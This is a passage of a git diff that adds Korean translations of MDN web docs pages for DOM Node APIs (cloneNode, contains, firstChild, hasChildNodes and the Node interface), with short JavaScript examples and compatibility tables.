+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.childNodes", "fr": "fr/DOM/element.childNodes", "pl": "pl/DOM/element.childNodes" } ) }}</p>
diff --git a/files/ko/web/api/node/clonenode/index.html b/files/ko/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..36e4c8e0d5
--- /dev/null
+++ b/files/ko/web/api/node/clonenode/index.html
@@ -0,0 +1,160 @@
+---
+title: Node.cloneNode()
+slug: Web/API/Node/cloneNode
+translation_of: Web/API/Node/cloneNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div><strong><code>Node.cloneNode()</code></strong> 메서드는 이 메서드를 호출한 Node 의 복제된 Node를 반환합니다.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode(<em><var>deep</var></em>);
+</pre>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>복제되어야 할 node.</dd>
+ <dt><em>dupNode</em></dt>
+ <dd><em>복제된 새로운 node.</em></dd>
+ <dt><em>deep {{optional_inline}}</em></dt>
+ <dd><em>해당 node의 children 까지 복제하려면 true, 해당 node 만 복제하려면 false</em></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In the DOM4 specification (as implemented in Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> is an optional argument. If omitted, the method acts as if the value of <code>deep</code> was <strong><code>true</code></strong>, defaulting to using deep cloning as the default behavior. To create a shallow clone, <code>deep</code> must be set to <code>false</code>.</p>
+
+<p>This behavior has been changed in the latest spec, and if omitted, the method will act as if the value of <code>deep</code> was <strong><code>false</code></strong>. Though It's still optional, you should always provide the <code>deep</code> argument both for backward and forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}), the console warned developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var p = document.getElementById("para1");
+var p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p id="not-event-listeners">Cloning a node copies all of its attributes and their values, including intrinsic (in–line) listeners. It does not copy event listeners added using <a href="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> or those assigned to element properties. (e.g. <code>node.onclick = fn</code>) Moreover, for a &lt;canvas&gt; element, the painted image is not copied.</p>
+
+<p>The duplicate node returned by <code>cloneNode()</code> is not part of the document until it is added to another node that is part of the document using {{domxref("Node.appendChild()")}} or a similar method. It also has no parent until it is appended to another node.</p>
+
+<p>If <code>deep</code> is set to <code>false</code>, child nodes are not cloned. Any text that the node contains is not cloned either, as it is contained in one or more child {{domxref("Text")}} nodes.</p>
+
+<p>If <code>deep</code> evaluates to <code>true</code>, the whole subtree (including text that may be in child {{domxref("Text")}} nodes) is copied too. For empty nodes (e.g. {{HTMLElement("img")}} and {{HTMLElement("input")}} elements) it doesn't matter whether <code>deep</code> is set to <code>true</code> or <code>false</code>.</p>
+
+<div class="warning"><strong>Warning:</strong> <code>cloneNode()</code> may lead to duplicate element IDs in a document.</div>
+
+<p>If the original node has an ID and the clone is to be placed in the same document, the ID of the clone should be modified to be unique. Name attributes may need to be modified also, depending on whether duplicate names are expected.</p>
+
+<p>To clone a node for appending to a different document, use {{domxref("Document.importNode()")}} instead.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> as an optional parameter</td>
+   <td>
+    <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> as an optional parameter</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Default value for the <code>deep</code> parameter is <code>false</code>.</p>
diff --git a/files/ko/web/api/node/contains/index.html b/files/ko/web/api/node/contains/index.html
new file mode 100644
index 0000000000..982c26ae4c
--- /dev/null
+++ b/files/ko/web/api/node/contains/index.html
@@ -0,0 +1,105 @@
+---
+title: Node.contains()
+slug: Web/API/Node/contains
+translation_of: Web/API/Node/contains
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node.contains()</code></strong> 메소드는 주어진 인자가 node 의 자손인지, 아닌지에 대한 {{jsxref("Boolean")}} 값을 리턴합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">node.contains( otherNode )
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<p>이 함수는 요소가 페이지의 body 안에 있는지 검사합니다.  <code>contains</code> 는 포괄적이므로 node 가 body 자기 자신일 경우에도 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font> 가 반환됩니다. 만약 이걸 원하지 않는 경우에는 node 가 body 자기 자신인지 검사하여  <code>false</code> 를 반환하여 버리면 됩니다.</p>
+
+<pre class="brush:js">function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>5.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer <a href="https://connect.microsoft.com/IE/feedback/details/780874/node-contains-is-incorrect">only supports <code>contains()</code> for elements</a>.</p>
+
+<p>[2] Safari 2.x <a href="https://books.google.de/books?id=KW9G9rdlStIC&amp;lpg=PA299&amp;ots=4XRWUISZVr&amp;dq=safari+node+contains+professional+javascript&amp;pg=PA299&amp;hl=de#v=onepage&amp;q=safari%20node%20contains%20professional%20javascript&amp;f=false">implemented <code>contains()</code> incorrectly</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.compareDocumentPosition")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/firstchild/index.html b/files/ko/web/api/node/firstchild/index.html
new file mode 100644
index 0000000000..105c335e1c
--- /dev/null
+++ b/files/ko/web/api/node/firstchild/index.html
@@ -0,0 +1,67 @@
+---
+title: element.firstChild
+slug: Web/API/Node/firstChild
+tags:
+  - DOM
+  - Gecko
+translation_of: Web/API/Node/firstChild
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+
+<p>트리에서 노드의 첫 번째 자식이나 <code>null</code>(노드가 자식이 없으면)을 반환합니다.</p>
+
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+
+<pre class="eval"><em>childNode</em> =<em>node</em>.firstChild;
+</pre>
+
+<p><code>childNode</code>는 자식이 있으면 <code>node</code>의 첫 번째 자식 참조이고 없으면 <code>null</code>입니다.</p>
+
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+
+<p>이 예는 <code>firstChild</code>의 쓰임과 공백 노드가 어떻게 이 프로퍼티 사용을 방해하는 지 실제로 보입니다. Gecko DOM에서 공백 처리에 관한 더 많은 정보는 {{ Anch("Notes") }} 절을 보세요.</p>
+
+<pre>&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>위에서, alert은 텍스트 노드가 여는 태그 &lt;p&gt;의 끝과 여는 태그 &lt;span&gt; 사이에 공백을 유지하여 삽입되었기 때문에 '#text'를 보입니다. space 하나에서 여럿, return, tab 등 <strong>어떤</strong> 공백이든 #text 노드에 삽입되게 됩니다.</p>
+
+<p>다른 #text 노드는 닫는 태그 &lt;/span&gt;과 닫는 태그 &lt;/p&gt; 사이에 삽입됩니다.</p>
+
+<p>이 공백을 소스에서 제거하면, #text 노드는 삽입되지 않고 span 요소가 paragraph의 첫 번째 자식이 됩니다.</p>
+
+<pre>&lt;p id="para-01"&gt;&lt;span&gt;First span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>이제 alert은 'SPAN'을 보입니다.</p>
+
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+
+<p></p><p>Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다.
+    그러므로 예를 들어 <a href="/ko/docs/Web/API/Node/firstChild" title="트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다."><code>Node.firstChild</code></a>나 <a href="/ko/docs/Web/API/Node/previousSibling" title="Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 childNodes 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다."><code>Node.previousSibling</code></a>을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는
+    달리 공백 텍스트 노드를 참조할 지도 모릅니다. </p>
+
+    <p>더 많은 정보는 <a class="new" href="/ko/docs/Whitespace_in_the_DOM" rel="nofollow">Whitespace in the DOM</a>과
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>를 보세요.</p><p></p>
+
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-firstChild">DOM Level 1 Core: firstChild</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></p>
+
+<p>{{ languages( { "en": "en/DOM/element.firstChild", "fr": "fr/DOM/element.firstChild", "pl": "pl/DOM/element.firstChild" } ) }}</p>
diff --git a/files/ko/web/api/node/haschildnodes/index.html b/files/ko/web/api/node/haschildnodes/index.html
new file mode 100644
index 0000000000..eff203c8a8
--- /dev/null
+++ b/files/ko/web/api/node/haschildnodes/index.html
@@ -0,0 +1,42 @@
+---
+title: Node.hasChildNodes()
+slug: Web/API/Node/hasChildNodes
+tags:
+  - API
+  - DOM
+  - Method
+  - Node
+translation_of: Web/API/Node/hasChildNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.hasChildNodes()</strong></code> 메소드는 현재 노드({{domxref("Node")}})에게 자식노드(<a href="/en-US/docs/Web/API/Node.childNodes" title="DOM/Node.childNodes">child nodes</a>)가 있는지를 {{jsxref("Boolean")}} 값으로 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><code>node.hasChildNodes()</code></pre>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>아래 예시에서는 "foo"라는 id를 가진 요소를 찾고 "foo" 요소에게 자식노드가 있으면 첫번째 자식노드를 제거해줍니다.</p>
+
+<pre class="brush:js;highlight:[3];">var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Node.childNodes")}}</li>
+ <li>{{domxref("Node.hasAttributes")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/index.html b/files/ko/web/api/node/index.html
new file mode 100644
index 0000000000..ed301eff02
--- /dev/null
+++ b/files/ko/web/api/node/index.html
@@ -0,0 +1,263 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - DOM
+  - Node
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node</code></strong>는 여러 가지 DOM 타입들이 상속하는 인터페이스이며 그 다양한 타입들을 비슷하게 처리할 수 있게 한다. 예를들어, 똑같은 메소드를 상속하거나 똑같은 방식으로 테스트를 할수있다</p>
+
+<p>다음의 인터페이스들은 모두 <code>Node</code>로부터 메소드와 프라퍼티를 상속한다: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} ({{domxref("Text")}}, {{domxref("Comment")}}, {{domxref("CDATASection")}}이 상속), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
+
+<p>이 인터페이스들은 메소드나 프라퍼티가 적합하지 않은 경우에 null을 반환할 수 있다. 그들은 예외를 발생할 수 있다 - 예를 들어 자식이 있을 수 없는 노드 타입에 자식을 추가할 때 말이다.</p>
+
+<h2 id="프라퍼티_&lt;속성>">프라퍼티 &lt;속성&gt;</h2>
+
+<p><em>부모인 {{domxref("EventTarget")}}으로부터 프라퍼티를 상속한다</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the base URL. The concept of base URL changes from one language to another; in HTML, it corresponds to the protocol, the domain name and the directory structure, that is all until the last <code>'/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{domxref("NodeList")}} object is automatically updated.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element. In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Though recent specifications require <code>localName</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>The namespace URI of this node, or <code>null</code> if it is no namespace. In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Though recent specifications require <code>namespaceURI</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the name type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the <code>'#text'</code> string, or a {{domxref("Document")}} node will have the <code>'#document'</code> string.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>A {{ Interface("nsIPrincipal") }} representing the node principal.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Name</th>
+    <th scope="col">Value</th>
+   </tr>
+   <tr>
+    <td><code>ELEMENT_NODE</code></td>
+    <td><code>1</code></td>
+   </tr>
+   <tr>
+    <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>2</code></td>
+   </tr>
+   <tr>
+    <td><code>TEXT_NODE</code></td>
+    <td><code>3</code></td>
+   </tr>
+   <tr>
+    <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>4</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>5</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>6</code></td>
+   </tr>
+   <tr>
+    <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+    <td><code>7</code></td>
+   </tr>
+   <tr>
+    <td><code>COMMENT_NODE</code></td>
+    <td><code>8</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_NODE</code></td>
+    <td><code>9</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_TYPE_NODE</code></td>
+    <td><code>10</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+    <td><code>11</code></td>
+   </tr>
+   <tr>
+    <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>12</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the value of an object. For most <code>Node</code> type, this returns <code>null</code> and any set operation is ignored. For nodes of type <code>TEXT_NODE</code> ({{domxref("Text")}} objects), <code>COMMENT_NODE</code> ({{domxref("Comment")}} objects), and <code>PROCESSING_INSTRUCTION_NODE</code> ({{domxref("ProcessingInstruction")}} objects), the value corresponds to the text data contained in the object.</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Document")}} that this node belongs to. If no document is associated with it, returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.<br>
+ Though recent specifications require <code>prefix</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the textual content of an element and all its descendants.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속한다</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Insert a {{domxref("Node")}} as the last child node of this element.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to get some {{domxref("DOMUserData")}} from the node.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if the element has any attributes, or not.</dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if the element has any child nodes, or not.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Inserts the first {{domxref("Node")}} given in a parameter immediately before the second, child of this element, {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.isSameNode()")}} {{obsolete_inline}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a> flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Removes a child node from the current element, which must be a child of the current node.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_자식_노드_탐색">모든 자식 노드 탐색</h3>
+
+<p>The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).</p>
+
+<pre class="brush: js">function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}</pre>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre>DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Description">Description</h4>
+
+<p>Recursively cycle all child nodes of <code>parentNode</code> and <code>parentNode</code> itself and execute the <code>callbackFunction</code> upon them as <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>this</code></a> objects.</p>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>The parent node (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>The callback function (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Sample_usage">Sample usage</h4>
+
+<p>The following example send to the <code>console.log</code> the text content of the body:</p>
+
+<pre class="brush: js">function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};</pre>
+
+<h3 id="한_노드_안에_중첩된_모든_자식_제거">한 노드 안에 중첩된 모든 자식 제거</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};</pre>
+
+<h4 id="Sample_usage_2">Sample usage</h4>
+
+<pre class="brush: js">/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
